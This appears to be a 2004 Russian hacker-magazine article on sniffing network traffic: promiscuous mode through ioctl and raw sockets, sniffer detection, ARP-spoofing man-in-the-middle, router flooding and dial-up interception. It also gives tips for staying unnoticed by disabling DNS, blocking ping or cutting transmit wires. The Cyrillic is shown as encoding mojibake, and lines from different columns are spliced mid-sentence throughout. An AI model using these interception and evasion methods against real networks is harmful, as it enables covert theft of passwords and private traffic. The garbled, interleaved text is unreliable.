                    ðîâ ïðåäñ-     âïîëíå ëåãàëüíûå ñðåäñòâà ìîíèòî-        êà, êîòîðàÿ ôèçè÷åñêè ïðîõîäèò ÷å-       âûé ðåæèì è ñîçäàòü ñûðîé (raw) ñî-
                    òàâëÿþò ñî-
                    áîé âïîëíå     ðèíãà è íå òðåáóþò óñòàíîâêè äîïîë-      ðåç äàííûé óçåë. Âñå îñòàëüíîå ìî-       êåò, äàþùèé äîñòóï êî âñåìó, ÷òî âà-
                    ëåãàëüíûå      íèòåëüíîãî îáîðóäîâàíèÿ. Òåì íå ìå-      æåò áûòü ïîëó÷åíî ëèøü ïóòåì ïðÿ-        ëèòñÿ íà äàííûé IP-èíòåðôåéñ. Îáû÷-
                    ñðåäñòâà
                    ìîíèòîðèí-     íåå, èõ èñïîëüçîâàíèå â îáùåì ñëó-       ìîãî âìåøàòåëüñòâà â ñåòåâûå ïðî-        íûå ñîêåòû äëÿ ýòîé öåëè íå ïîäõî-
                    ãà è íå òðå-   ÷àå íåçàêîííî èëè æå ïðåäïîëàãàåò        öåññû (ìîäèôèêàöèÿ òàáëèö ìàðøðó-        äÿò, ïîñêîëüêó ïðèíèìàþò òîëüêî ÿâ-
                    áóþò óñòà-
                    íîâêè äî-      ñîîòâåòñòâóþùèå ïîëíîìî÷èÿ (íàïðè-       òèçàöèè, îòïðàâêà ïîäëîæíûõ ïàêå-        íî àäðåñîâàííûå èì ïàêåòû, ïîñòóïà-
                    ïîëíèòåëü-     ìåð, ìîíòåð ìîæåò ïîäêëþ÷àòüñÿ ê òå-     òîâ è ò.ä.).                             þùèå íà çàäàííûé ïîðò. Ëåãàëüíûå
                    íîãî îáîðó-    ëåôîííûì ïðîâîäàì, à òû – íåò).                                                   ñíèôåðû ÷àùå âñåãî èñïîëüçóþò
                    äîâàíèÿ.
                                   Êñòàòè ãîâîðÿ, ñëîâî "sniffer" ÿâëÿåò-   ÏÀÑÑÈÂÍÛÉ                                êðîññ-ïëàòôîðìåííóþ áèáëèîòåêó
                                   ñÿ òîðãîâîé ìàðêîé êîìïàíèè Network      ÏÅÐÅÕÂÀÒ ÒÐÀÔÈÊÀ                         libpcap, îäíàêî íàñòîÿùèå õàêåðû
                                   Associates, ðàñïðîñòðàíÿþùåé ñåòå-           Ëîêàëüíàÿ ñåòü óæå äàâíî ñòàëà       ïðåäïî÷èòàþò ðàçðàáàòûâàòü ÿäðî
                                   âîé àíàëèçàòîð "Sniffer(r) Network       ïîíèìàòüñÿ ñèíîíèìè÷íî Ethernet, à â     ñíèôåðà ñàìîñòîÿòåëüíî.
                                   Analyzer". Èñïîëüçîâàòü ýòîò òåðìèí      Ethernet-ñåòÿõ, ïîñòðîåííûõ ïî òîïî-       Îïåðàöèîííûå ñèñòåìû *nix áëîêè-
                    Ñëîâî "snif-
                    fer" ÿâëÿåò-   â îòíîøåíèè äðóãèõ ïðîãðàìì ñ þðè-       ëîãèè îáùåé øèíû, êàæäûé èñïóñêàå-       ðóþò ïðÿìîé äîñòóï ê îáîðóäîâàíèþ
                    ñÿ òîðãîâîé    äè÷åñêîé òî÷êè íåïðàâîìåðíî , íî…        ìûé ïàêåò äîñòàâëÿåòñÿ âñåì ó÷àñòíè-     ñ ïðèêëàäíîãî óðîâíÿ (òàê ÷òî ïåðåï-
                    ìàðêîé êîì-    XEROX òîæå òîðãîâàÿ ìàðêà, à â ïðîñ-     êàì ñåòè. Ñåòåâàÿ êàðòà íà àïïàðàòíîì    ðîãðàììèðîâàòü ñåòåâóþ êàðòó ïðîñòî
                    ïàíèè
                    Network        òîðå÷èè âñå êîïèðîâàëüíûå àïïàðàòû       óðîâíå àíàëèçèðóåò çàãîëîâêè ïàêå-       òàê íå óäàñòñÿ), îäíàêî âñå æå ïðåäîñ-
                    Associates,    íåçàâèñèìî îò ïðîèçâîäèòåëÿ íàçû-        òîâ (ôðåéìîâ) è ñâåðÿåò ñâîé ôèçè-       òàâëÿþò ñïåöèàëüíûå ðû÷àãè äëÿ ïå-
                    ðàñïðîñòðà-
                    íÿþùåé ñå-     âàþò "êñåðîêñàìè", è íèêòî îò ýòîãî      ÷åñêèé àäðåñ (òàê æå íàçûâàåìûé          ðåâîäà èíòåðôåéñà â íåðàçáîð÷èâûé
                    òåâîé àíà-     åùå íå ïîñòðàäàë.                        MAC-àäðåñîì) ñ àäðåñîì, ïðîïèñàííîì      ðåæèì, ïðàâäà, â ðàçëè÷íûõ íèêñàõ
                    ëèçàòîð
                    "Sniffer(r)      Îáúåêòîì àòàêè ìîãóò âûñòóïàòü: ëî-    â Ethernet-çàãîëîâêå, ïåðåäàâàÿ íà IP-   ýòè ðû÷àãè î÷åíü ðàçíûå, ÷òî ñóùåñò-
                    Network        êàëüíàÿ ñåòü (êàê õàáîâîé, òàê è ñâèò-   óðîâåíü òîëüêî "ñâîè" ïàêåòû.            âåííî óñëîæíÿåò íàøó çàäà÷ó.
                    Analyzer".     ÷åâîé àðõèòåêòóðû), ãëîáàëüíàÿ ñåòü        Äëÿ ïåðåõâàòà òðàôèêà êàðòó íåîá-         ñîñòàâ BSD âõîäèò ñïåöèàëüíûé
                                   (äàæå ïðè ìîäåìíîì ïîäêëþ÷åíèè!),        õîäèìî ïåðåâåñòè â íåðàçáîð÷èâûé         ïàêåòíûé ôèëüòð (BPF – BSD Packet
                                   ñïóòíèêîâûé è ìîáèëüíûé èíòåðíåò,        (promiscuous) ðåæèì, â êîòîðîì íà IP-    Filter), ïîääåðæèâàþùèé ãèáêóþ ñõå-
                                                                                             óðîâåíü ïåðåäàåòñÿ      ìó âûáîðî÷íîãî ïåðåõâàòà ÷óæèõ ïà-
                                                                                             âñå ïðèíÿòûå ïàêåòû.    êåòîâ è ñîîòâåòñòâóþùèé óñòðîéñòâó
                                                                                             Íåðàçáîð÷èâûé ðå-       /dev/bpf. Ïåðåâîä èíòåðôåéñà â íå-
                                                                                             æèì ïîääåðæèâàåò        ðàçáîð÷èâûé ðåæèì îñóùåñòâëÿåòñÿ
                                                                                             ïîäàâëÿþùåå áîëü-       ïîñðåäñòâîì IOCTL è âûãëÿäèò ïðèá-
                                                                                             øèíñòâî ñòàíäàðòíûõ     ëèçèòåëüíî òàê:
                                                                                             êàðò, ïðîâîöèðóÿ èç-     ioctl(fd, BIOCPROMISC, 0),
                                                                                             ëèøíå ëþáîïûòíûõ          ãäå fd – äåñêðèïòîð èíòåðôåéñà, à
                                                                                             ïîëüçîâàòåëåé íà        BIOCPROMISC – óïðàâëÿþùèé IOCTL-
                                                                                             ïðîíèêíîâåíèå â èí-     êîä. Â Solaris'å âñå îñóùåñòâëÿåòñÿ
                                                                                             òèìíóþ æèçíü îñ-        àíàëîãè÷íî, íå ñîâïàäàåò òîëüêî
                                                                                             òàëüíûõ ó÷àñòíèêîâ      IOCTL-êîä è óñòðîéñòâî íàçûâàåòñÿ íå
                                                                                             ñåòè.                   bpf, à hme. Ïîõîæèì îáðàçîì âåäåò
                                                                                               Ïåðåõîä íà âèòóþ      ñåáÿ è SunOS, ïðåäîñòàâëÿþùàÿ ïî-
                                                                                             ïàðó ñ êîíöåíòðàòî-     òîêîâûé äðàéâåð ïñåâäîóñòðîéñòâà
                                                                                             ðîì íè÷åãî íå ìåíÿåò    nit, òàêæå íàçûâàåìûé êðàíèêîì â ñå-
                                                                                             – îòïðàâëÿåìûå ïàêå-    òåâîì èíòåðôåéñå (NIT – Network
                                    Cíèôåð çà ðàáîòîé                                        òû äóáëèðóþòñÿ íà       Interface Tap).  îòëè÷èå îò ïàêåòíîãî

                                    ÕÀÊÅÐÑÏÅÖ   10(47)   2004
                                                                                                                       29


ôèëüòðà BPF, ïîòîêîâûé ôèëüòð NIC            è ëåãêî îáíàðóæèâàåòñÿ óòèëèòîé          ïîðòîì îòâå÷àþùåé ñëóæáû, íàïðè-
ïåðåõâàòûâàåò òîëüêî âõîäÿùèå ïà-            ifconfig, îòîáðàæàþùåé åãî ñòàòóñ,       ìåð, ICMP ECHO, áîëåå èçâåñòíîé êàê




                                                                                                                                               ÍÅÏÐÈÑÒÓÏÍÛÉ *NIX
êåòû, ïîçâîëÿÿ èñõîäÿùèì ïðîøìûã-            ïðàâäà, äëÿ ýòîãî àäìèíèñòðàòîð äîë-     ping). Ðàáîòàÿ â íåðàçáîð÷èâîì ðåæè-
íóòü ìèìî íåãî. Ê òîìó æå îí íàìíîãî         æåí èìåòü âîçìîæíîñòü óäàëåííîãî         ìå, ñåòåâàÿ êàðòà ïåðåäàñò òàêîé ïàêåò
ìåäëåííåå ðàáîòàåò. Èíóþ ñõåìó ãðà-          çàïóñêà ïðîãðàìì íà ìàøèíå àòàêóþ-       íà IP-óðîâåíü, è òîò áóäåò áëàãîïîëó÷-
áåæà òðàôèêà ðåàëèçóåò ÎÑ Linux,             ùåãî, ÷åìó àòàêóþùèé ìîæåò ëåãêî         íî îáðàáîòàí ñèñòåìîé, àâòîìàòè÷åñêè
ïîääåðæèâàþùàÿ ñïåöèàëüíûå                   âîñïðåïÿòñòâîâàòü èëè ìîäèôèöèðî-        ãåíåðèðóþùåé ýõî-îòâåò. ×òîáû íå óãî-
IOCTL-êîäû äëÿ âçàèìîäåéñòâèÿ ñ              âàòü êîä ifconfig (è äðóãèõ àíàëîãè÷-    äèòü â ëîâóøêó, àòàêóþùèé äîëæåí
ñåòüþ íà óðîâíå äðàéâåðîâ. Ïðîñòî            íûõ åé óòèëèò) òàê, ÷òîáû îíà âûäàâà-    îòêëþ÷èòü ICMP è çàêðûòü âñå TCP-
ñîçäàé ñûðîé ñîêåò âûçîâîì socket            ëà ïîäëîæíûå äàííûå. Êñòàòè ãîâîðÿ,      ïîðòû, ÷òî ìîæíî ñäåëàòü ñ ïîìîùüþ
(PF_PACKET, SOCK_RAW, int proto-             çàñûëàÿ ñíèôåð íà êàêîé-ëèáî             òîãî æå áðàíäìàóýðà, êîíå÷íî, ïðè óñ-
col) è ïåðåâåäè ñâÿçàííûé ñ íèì èí-          êîìïüþòåð, âñåãäà íóæíî ïîìíèòü,         ëîâèè, ÷òî òîò íå îòêðûâàåò íèêàêèõ
òåðôåéñ â íåðàçáîð÷èâûé ðåæèì:               ÷òî åãî ïðèñóòñòâèå â ïîäàâëÿþùåì        äîïîëíèòåëüíûõ ïîðòîâ (à áîëüøèí-
  ifr.ifr_flags |= IFF_PROMISC; ioctl (s,    áîëüøèíñòâå ñëó÷àåâ îáíàðóæèâàåò-        ñòâî áðàíäìàóýðîâ èõ îòêðûâàþò).
SIOCGIFFLAGS, ifr),                          ñÿ èìåííî ïî ifconfig!                     Ìåæäó ïðî÷èì, ãðàáåæ òðàôèêà òðå-
  ãäå s – äåñêðèïòîð ñîêåòà, à ifr – èí-       Ìíîãèå ëåãàëüíûå ñíèôåðû àâòîìà-       áóåò îùóòèìûõ ïðîöåññîðíûõ ðåñóð-
òåðôåéñ.                                     òè÷åñêè ðåçîëâÿò âñå ïîëó÷åííûå IP-      ñîâ, è ìàøèíà íà÷èíàåò çàìåòíî òîð-
  Ïîëíîñòüþ ãîòîâóþ ê óïîòðåáëåíèþ           àäðåñà, âûäàâàÿ àòàêóþùåãî ñ ãîëî-       ìîçèòü. Íó, òîðìîçèò, è ôèã ñ íåé –
ôóíêöèþ, ïîäãîòàâëèâàþùóþ ñûðîé              âîé. Àäìèíèñòðàòîð ïîñûëàåò ïàêåò        êàêèå ïðîáëåìû? À âîò êàêèå. Àäìè-
ñîêåò ê ðàáîòå ñ ïåðåâîäîì èíòåð-            íà íåñóùåñòâóþùèé MAC-àäðåñ îò/íà        íèñòðàòîð äåëàåò óçëó àòàêóþùåãî
ôåéñà â íåðàçáîð÷èâûé ðåæèì è ïîä-           íåñóùåñòâóþùåãî IP. Óçåë, ïîèíòåðå-      ping è çàñåêàåò ñðåäíåå âðåìÿ îòêëè-
äåðæèâàþùóþ áîëüøîå êîëè÷åñòâî               ñîâàâøèéñÿ äîìåííûì èìåíåì äàííî-        êà. Çàòåì íàïðàâëÿåò øòîðì ïàêåòîâ
ðàçëè÷íûõ îïåðàöèîííûõ ñèñòåì, êàê           ãî IP, è áóäåò óçëîì àòàêóþùåãî. Åñòå-   íà íåñóùåñòâóþùèå (èëè ñóùåñòâóþ-
òî: SunOS, Linux, FreeBSD, IRIX è            ñòâåííî, åñëè àòàêóþùèé èñïîëüçóåò       ùèå) MAC-àäðåñà, ïîñëå ÷åãî ïîâòî-
Solaris, ìîæíî ëåãêî âûäðàòü èç ñíè-         ñîáñòâåííûé ñíèôåð, âûðóáèò DNS â        ðÿåò ping. Èçìåíåíèå âðåìåíè îòêëè-
ôåðà, èñõîäíûé òåêñò êîòîðîãî íàõî-          íàñòðîéêàõ ñåòåâîãî ñîåäèíåíèÿ èëè       êà ïîëíîñòüþ äåìàñêèðóåò ôàêò ïå-
äèòñÿ ïî àäðåñó: http://packetstormsecuri-   îãðàäèò ñåáÿ ëîêàëüíûì áðàíäìàóý-        ðåõâàòà, è, ÷òîáû ýòîìó ïðîòèâîñòî-
ty.org/sniffers/gdd13.c.                     ðîì, àäìèíèñòðàòîð îñòàíåòñÿ íàåäè-      ÿòü, àòàêóþùèé äîëæåí ëèáî çàïðå-
                                             íå ñî ñâîåé çàäíèöåé.                    òèòü ICMP ECHO (÷òî âûçîâåò ñåðüåç-
ÎÁÍÀÐÓÆÅÍÈÅ                                    Êàê âàðèàíò, àäìèíèñòðàòîð ìîæåò       íûå ïîäîçðåíèÿ), ëèáî ñòàáèëèçèðî-
                                                                                                                                 Ïàññèâíûé
ÏÀÑÑÈÂÍÎÃÎ ÏÅÐÅÕÂÀÒÀ                         ïîñëàòü íà íåñóùåñòâóþùèé MAC-àä-        âàòü âðåìÿ îòêëèêà, âñòàâëÿÿ òî èëè        ñíèôèíã
   Ïåðåâîä èíòåðôåéñà â íåðàçáîð-            ðåñ ïàêåò, ïðåäíàçíà÷åííûé äëÿ àòàêó-    èíîå êîëè÷åñòâî õîëîñòûõ çàäåðæåê          ïîçâîëÿåò
÷èâûé ðåæèì íå ïðîõîäèò áåññëåäíî            þùåãî (ñ äåéñòâèòåëüíûì IP-àäðåñîì è     (äëÿ ýòîãî åìó ïðèäåòñÿ ìîäèôèöèðî-        ïåðåõâàòû-
                                                                                                                                 âàòü ëèøü
                                                                                      âàòü êîä ýõî-äåìîíà).                      òó ÷àñòü
                                                                                        Ðàçóìååòñÿ, ñóùåñòâóþò è äðóãèå          òðàôèêà,
                                                                                                                                 êîòîðàÿ ôè-
  Ìíîãèå ëåãàëüíûå ñíèôåðû àâòîìàòè÷åñêè                                              ñïîñîáû îáíàðóæåíèÿ ïàññèâíîãî ïå-
                                                                                      ðåõâàòà òðàôèêà. Íàïðèìåð, àäìèíè-
                                                                                                                                 çè÷åñêè
                                                                                                                                 ïðîõîäèò
    ðåçîëâÿò âñå ïîëó÷åííûå IP-àäðåñà,                                                ñòðàòîð ïóñêàåò ïî ñåòè ïîäëîæíûé
                                                                                                                                 ÷åðåç äàí-
                                                                                                                                 íûé óçåë.
      âûäàâàÿ àòàêóþùåãî ñ ãîëîâîé.                                                   ïàðîëü, ÿêîáû ïðèíàäëåæàùèé root'ó,
                                                                                      à ñàì çàëåãàåò â çàñàäó è æäåò, ÷òî çà
                                                                                      çâåðü â ýòó ëîâóøêó ïîïàäåòñÿ, ïîñëå
                                                                                      ÷åãî íàïðàâëÿåò ïî ñîîòâåòñòâóþùå-
   ÕÀÁÛ È ÓÕÀÁÛ                                                                       ìó àäðåñó áðèãàäó êàðàòèñòîâ áûñòðî-
                                                                                      ãî ðåàãèðîâàíèÿ.
     Õàáîì (îò àíãë. hub – ñòóïèöà êîëåñà), èëè êîíöåíòðàòîðîì, íà-
   çûâàþò ìíîãîïîðòîâûé ðåïèòåð (ïîâòîðèòåëü). Ïîëó÷èâ äàííûå íà                      ÀÊÒÈÂÍÛÉ ÏÅÐÅÕÂÀÒ,
                                                                                      ÈËÈ ARP-ÑÏÓÔÈÍÃ
   îäèí èç ïîðòîâ, ðåïèòåð íåìåäëåííî ïåðåíàïðàâëÿåò èõ íà îñòàëü-                        Îòïðàâëÿÿ ïàêåò íà çàäàííûé IP-àä-
   íûå ïîðòû.  êîàêñè-                                                               ðåñ, ìû, î÷åâèäíî, äîëæíû äîñòàâèòü
   àëüíûõ ñåòÿõ ðåïèòåð                                                               åãî êàêîìó-òî óçëó. Íî êàêîìó? Âåäü ñå-
   íå ÿâëÿåòñÿ îáÿçà-                                                                 òåâàÿ êàðòà îïåðèðóåò èñêëþ÷èòåëüíî
   òåëüíûì êîìïîíåí-                                                                  ôèçè÷åñêèìè MAC-àäðåñàìè, à ïðî IP
                                                                                      íè÷åãî íå çíàåò! Ñëåäîâàòåëüíî, íàì íå-
   òîì, è ïðè ïîäêëþ÷å-                                                               îáõîäèìà òàáëèöà ñîîòâåòñòâèÿ MAC- è
   íèè ìåòîäîì îáùåé                                                                  IP-àäðåñîâ. Ïîñòðîåíèåì òàêîé òàáëèöû
   øèíû ìîæíî îáîé- Òîïîëîãèÿ îáùåé øèíû                                              çàíèìàåòñÿ îïåðàöèîííàÿ ñèñòåìà, è äå-
   òèñü áåç íåãî.                                                                     ëàåò ýòî îíà ïðè ïîìîùè ïðîòîêîëà
                                                                                      ARP (Address Resolution Protocol – ïðî-
                                                                                      òîêîë ðàçðåøåíèÿ àäðåñîâ). Åñëè ôèçè-
    ñåòÿõ íà âèòîé ïàðå è êîàêñèàëüíûõ                                               ÷åñêèé àäðåñ ïîëó÷àòåëÿ íåèçâåñòåí, â
   ñåòÿõ, ïîñòðîåííûõ ïî òîïîëîãèè                                                    ñåòü îòïðàâëÿåòñÿ øèðîêîâåùàòåëüíûé
   «çâåçäà», ðåïèòåð ïðèñóòñòâóåò èçíà-                                               çàïðîñ òèïà: "Îáëàäàòåëü äàííîãî IP, ñî-
   ÷àëüíî.                                                                            îáùèòå ñâîé MAC". Ïîëó÷èâ îòâåò, óçåë
                                                                                      çàíîñèò åãî â ëîêàëüíóþ ARP-òàáëèöó,
                                                                                      äëÿ íàäåæíîñòè ïåðèîäè÷åñêè îáíîâ-
   Ñâèò÷ (îò àíãë. switch – êîììóòàòîð),                                              ëÿÿ åå (ôàêòè÷åñêè ARP-òàáëèöà ïðåäñ-
   òàêæå íàçûâàåìûé èíòåëëåêòóàëüíûì                                                  òàâëÿåò ñîáîé îáûêíîâåííûé êýø). Â
   õàáîì/ìàðøðóòèçàòîðîì, ïðåäñòàâëÿ-                                                 çàâèñèìîñòè îò òèïà îïåðàöèîííîé ñèñ-
   åò ñîáîé ðàçíîâèäíîñòü ðåïèòåðà, ïå- Òîïîëîãèÿ «çâåçäà»                            òåìû è åå êîíôèãóðàöèè èíòåðâàë îá-
   ðåäàþùåãî äàííûå òîëüêî íà ïîðò òî-                                                íîâëåíèÿ ìîæåò âàðüèðîâàòüñÿ â äèà-
                                                                                      ïàçîíå îò 30 ñåê. äî 20 ìèí.
   ãî óçëà, êîòîðîìó îíè àäðåñîâàíû, ÷òî ïðåäîòâðàùàåò âîçìîæ-                          Íèêàêîé àâòîðèçàöèè äëÿ îáíîâëå-
   íîñòü ïåðåõâàòà òðàôèêà (âî âñÿêîì ñëó÷àå, òåîðåòè÷åñêè).                          íèÿ ARP-òàáëèöû íå òðåáóåòñÿ, áîëåå
                                                                                      òîãî, áîëüøèíñòâî îïåðàöèîííûõ ñèñ- »
                                       30     ÂÇËÎÌ          ÐÛÁÍÀß ËÎÂËß Â ËÎÊÀËÜÍÎÉ ÑÅÒÈ

                                    òåì áëàãîïîëó÷íî ïåðåâàðèâàþò ARP-         ÏÅÐÅÕÂÀÒ ÒÐÀÔÈÊÀ ÍÀ DIAL-UP
                                    îòâåòû, äàæå åñëè èì íå ïðåäøåñòâî-
ÍÅÏÐÈÑÒÓÏÍÛÉ *NIX




                                    âàëè ñîîòâåòñòâóþùèå ARP-çàïðîñû             Äëÿ ïåðåõâàòà òðàôèêà íà ìîäåìíîì ïîäêëþ÷åíèè ÷åðåç îáû÷-
                                    (SunOS – îäíà èç íåìíîãèõ, êòî íå
                                                                               íóþ èëè ýëåêòðîííóþ ÀÒÑ (òî åñòü íå ÷åðåç êàáåëüíûé ìîäåì) íå-
                                    ïîçâîëÿåò îáìàíóòü ñåáÿ ïîäîáíûì
                                    îáðàçîì, è ïîòîìó ïîäëîæíûé ARP-           îáõîäèìî ïåðåïðîãðàììèðîâàòü ìàðøðóòèçàòîð, íàõîäÿùèéñÿ ó
                                    ïàêåò äîëæåí áûòü îòïðàâëåí òîëüêî         ïðîâàéäåðà, ÷òî íåïðîñòî ñäåëàòü, îäíàêî ó áîëüøèíñòâà ïðîâàé-
                                    ïîñëå ñîîòâåòñòâóþùåãî ARP-çàïðî-          äåðîâ îí òàê êðèâî íàñòðîåí, ÷òî ïîñòîðîííèé òðàôèê ñûïëåòñÿ
                                    ñà, íî äî ïðèõîäà ïîäëèííîãî îòâåòà).      ñàì – òîëüêî óñïåâàé ïðèíèìàòü. Â îñíîâíîì îí ñîñòîèò èç îáðûâ-
                                      Äëÿ çàõâàòà ÷óæîãî IP àòàêóþùåìó
                                                                               êîâ áåññâÿçíîãî ìóñîðà, íî ïîðîé â íåì âñòðå÷àåòñÿ êîå-÷òî èíòå-
                                    äîñòàòî÷íî ïîñëàòü ïîäëîæíûé ARP-
                                    çàïðîñ, êîòîðûé ìîæåò áûòü êàê öåëå-       ðåñíîå (íàïðèìåð, ïàðîëè íà ïî÷òîâûå ÿùèêè).
                                    íàïðàâëåííûì, òàê è øèðîêîâåùà-
                                    òåëüíûì (äëÿ îòïðàâêè/ïðèåìà ARP-          Ñ äðóãîé ñòîðîíû, ïåðåõâàò Dial-Up òðàôèêà ïîçâîëÿåò èññëåäî-
                                    ïàêåòîâ íåîáõîäèì äîñòóï ê ñûðûì ñî-       âàòü âñå ïàêåòû, ïðèíèìàåìûå/îòïðàâëÿåìûå òâîåé ìàøèíîé. Êîã-
                                    êåòàì èëè ñïåöèàëüíîìó API îïåðàöè-
                                                                               äà îãîíåê ìîäåìà âîçáóæäàþùå ìèãàåò, íî íè áðàóçåð, íè ïî÷òî-
                                    îííîé ñèñòåìû, ïîäðîáíîñòè ìîæíî
                                    ðàñêîâûâàòü â óòèëèòå arp). Äîïóñòèì,      âûé êëèåíò, íè ôàéëîêà÷àëêà íå àêòèâíû, ðàçâå íå èíòåðåñíî óç-
                                    àòàêóþùèé õî÷åò ïåðåõâàòèòü òðàôèê         íàòü, êàêàÿ çàðàçà ëîìèòüñÿ â ñåòü, ÷òî è êóäà îíà ïåðåäàåò? Âîò
                                    ìåæäó óçëàìè "A" è "B". Îí ïîñûëàåò        òóò-òî ëîêàëüíûé ñíèôåð è ïîìîãàåò!
                                    óçëó "A" ïîäëîæíûé ARP-îòâåò, ñîäåð-
                                    æàùèé IP-àäðåñ óçëà "B" è ñâîé MAC-
                                                                               Íå âñå ñíèôåðû ïîääåðæèâàþò ñîåäèíåíèÿ òèïà PPP, õîòÿ ñ òåõíè-
                                    àäðåñ, à óçëó "B" – ARP-îòâåò ñ IP-àä-
                    Äëÿ ïåðåõ-      ðåñîì óçëà "A" è ñâîèì MAC-àäðåñîì.        ÷åñêîé òî÷êè çðåíèÿ ýòî äàæå ïðîùå, ÷åì ãðàáèòü Ethernet. Ïåðåâî-
                    âàòà òðàôè-
                    êà êàðòó        Îáà óçëà îáíîâëÿþò ñâîè ARP-òàáëè-         äèòü ñåòåâóþ êàðòó â íåðàçáîð÷èâûé ðåæèì íå íóæíî, äîñòàòî÷íî
                    íåîáõîäèìî      öû è âñå îòïðàâëÿåìûå èìè ïàêåòû           ëèøü ñôîðìèðîâàòü ñûðîé IP-ñîêåò. Ïðàâäà, åñëè îïåðàöèîííàÿ
                    ïåðåâåñòè â
                    íåðàçáîð÷è-     ïîïàäàþò íà óçåë çëîóìûøëåííèêà,           ñèñòåìà ñîçäàåò äëÿ PPP-ñîåäèíåíèÿ âèðòóàëüíûé ñåòåâîé àäàïòåð,
                    âûé ðåæèì,      êîòîðûé ëèáî áëîêèðóåò, ëèáî äîñòàâ-
                    â êîòîðîì                                                  òî ñèòóàöèÿ ñòàíîâèòñÿ íåîäíîçíà÷íîé. Íåêîòîðûå äðàéâåðà òðåáó-
                    íà IP-óðî-
                                    ëÿåò èõ ïîëó÷àòåëþ (âîçìîæíî, â ñëåã-
                    âåíü ïåðå-      êà èçìåíåííîì âèäå, òî åñòü ðàáîòàåò       þò ïåðåõîäà â íåðàçáîð÷èâûé ðåæèì, íåêîòîðûå – íåò. Çà ïîäðîá-
                    äàþòñÿ âñå      êàê ïðîêñè). Åñëè ïîñëàòü ïîäëîæíûé        íîñòÿìè îáðàùàéñÿ ê äîêóìåíòàöèè íà ñâîþ îïåðàöèîííóþ ñèñòåìó.
                    ïðèíÿòûå
                    ïàêåòû.         ARP-ïàêåò ìàðøðóòèçàòîðó, àòàêóþ-
                                    ùèé ñìîæåò ïåðåõâàòûâàòü è ïàêåòû,
                                    ïðèõîäÿùèå èçâíå äàííîãî ñåãìåíòà        ùèé äîëæåí íàïðàâèòü íà æåðòâó          îáíàðóæèâàþò ïåðåõâàò. Îíè ñìîòðÿò
                                    ñåòè. Àòàêà òàêîãî òèïà íàçûâàåòñÿ       ìîùíûé ïîòîê ïîäëîæíûõ ïàêåòîâ.         âñå ïðîëåòàþùèå ïî ñåòè ïàêåòû (òî
                                    MiM (ñîêðàùåíèå îò «Man-In-the-            Êñòàòè, åñëè ìàðøðóòèçàòîð íå óñïå-   åñòü ðàáîòàþò êàê ñíèôåð), âûòàñêè-
                    Ïåðåâîä èí-     Middle» – ÷åëîâåê ïîñåðåäèíå).           âàåò ìàðøðóòèçèðîâàòü ïîñòóïàþùèå       âàþò ARP-îòâåòû è ñêëàäûâàþò èõ â
                    òåðôåéñà â        Êàê âàðèàíò, ìîæíî ïîñëàòü ïîä-        ïàêåòû, îí àâòîìàòè÷åñêè ïåðåêëþ÷àåò-   áàçó äàííûõ, çàïîìèíàÿ, êàêîìó MAC-
                    íåðàçáîð÷è-
                    âûé ðåæèì       ëîæíûé ARP-îòâåò ñ íåñóùåñòâóþ-          ñÿ â øèðîêîâåùàòåëüíûé ðåæèì, ñòàíî-    àäðåñó ïðèíàäëåæèò êàêîé IP-àäðåñ.
                    íå ïðîõîäèò     ùèì MAC-àäðåñîì. Òîãäà ñâÿçü ìåæäó       âÿñü îáû÷íûì õàáîì. Çàãðóçèâ ìàðøðó-    Ïðè îáíàðóæåíèè íåñîîòâåòñòâèÿ àä-
                    áåññëåäíî è     "A" è "B" áóäåò óòåðÿíà, âïðî÷åì, ÷å-    òèçàòîð ðàáîòîé ïî ñàìûå ïîìèäîðû       ìèíèñòðàòîðó îòïðàâëÿåòñÿ e-mail, ê
                    ëåãêî îáíà-
                    ðóæèâàåòñÿ      ðåç íåêîòîðîå âðåìÿ îíà àâòîìàòè-        (èëè äîæäàâøèñü ïèêîâîé çàãðóçêè ñå-    ìîìåíòó ïîëó÷åíèÿ êîòîðîãî íàðóøè-
                    óòèëèòîé        ÷åñêè âîññòàíîâèòñÿ (âåäü ARP-òàá-       òè), àòàêóþùèé ìîæåò ïðåñïîêîéíî ñíè-   òåëü îáû÷íî óñïåâàåò ñêðûòüñÿ ñî
                    ifconfig.
                                    ëèöà äèíàìè÷åñêè îáíîâëÿåòñÿ!), è,       ôàòü òðàôèê è â ïàññèâíîì ðåæèìå.       âñåì íàãðàáëåííûì òðàôèêîì. Ê òîìó,
                                    ÷òîáû ýòîãî íå ïðîèçîøëî, àòàêóþ-                                                æå â ñåòÿõ ñ DHCP (ñåðâåðîì äèíàìè-
                                                                             ÎÁÍÀÐÓÆÅÍÈÅ                             ÷åñêîé ðàçäà÷è IP-àäðåñîâ) arpwatch
                                                                             ÀÊÒÈÂÍÎÃÎ ÏÅÐÅÕÂÀÒÀ                     âûäàåò áîëüøîå êîëè÷åñòâî ëîæíûõ
                                                                                Àêòèâíàÿ ïðèðîäà ARP-àòàêè äå-       ñðàáàòûâàíèé, òàê êàê îäíîìó è òîìó
                                                                             ìàñêèðóåò çëîóìûøëåííèêà, è ñåòå-       æå MAC-àäðåñó íàçíà÷àþòñÿ ðàçëè÷-
                                                                             âûå àíàëèçàòîðû òèïà arpwatch ëåãêî     íûå IP-àäðåñà.

                                                                               STEALTH-ÑÍÈÔÈÍÃ

                                                                                 ×òîáû ñíèôàòü òðàôèê è ãàðàíòèðîâàííî îñòàòüñÿ íåçàìå÷åí-
                                                                               íûì, äîñòàòî÷íî íàñòðîèòü êàðòó òîëüêî íà ïðèåì ïàêåòîâ, çàïðå-
                                                                               òèâ ïåðåäà÷ó íà àïïàðàòíîì óðîâíå. Íà êàðòàõ ñ âèòîé ïàðîé äëÿ
                                                                               ýòîãî íóæíî ïðîñòî ïåðåðåçàòü ïåðåäàþùèå ïðîâîäà (îáû÷íî îíè
                    Àòàêà òèïà MiM ïîçâîëÿåò ïåðåõâàòûâàòü òðàôèê äàæå â       îðàíæåâîãî öâåòà). È õîòÿ ñóùåñòâóåò îáîðóäîâàíèå, ïîçâîëÿþ-
                    ñåòÿõ ñ êîììóòàòîðîì                                       ùåå çàñå÷ü ëåâîå ïîäêëþ÷åíèå, ïîäàâëÿþùåìó áîëüøèíñòâó îð-
                                                                               ãàíèçàöèé îíî íåäîñòóïíî, ïîýòîìó ðåàëüíàÿ óãðîçà ðàçîáëà÷åíèÿ
                                                                               õàêåðà ìàëà.

                                                                               Ðàçóìååòñÿ, stealth-ñíèôôèíã ïîääåðæèâàåò òîëüêî ïàññèâíûé ïå-
                                                                               ðåõâàò, è ïîòîìó â ñåòÿõ ñ
                                                                               êîììóòàòîðîì ïðèäåòñÿ
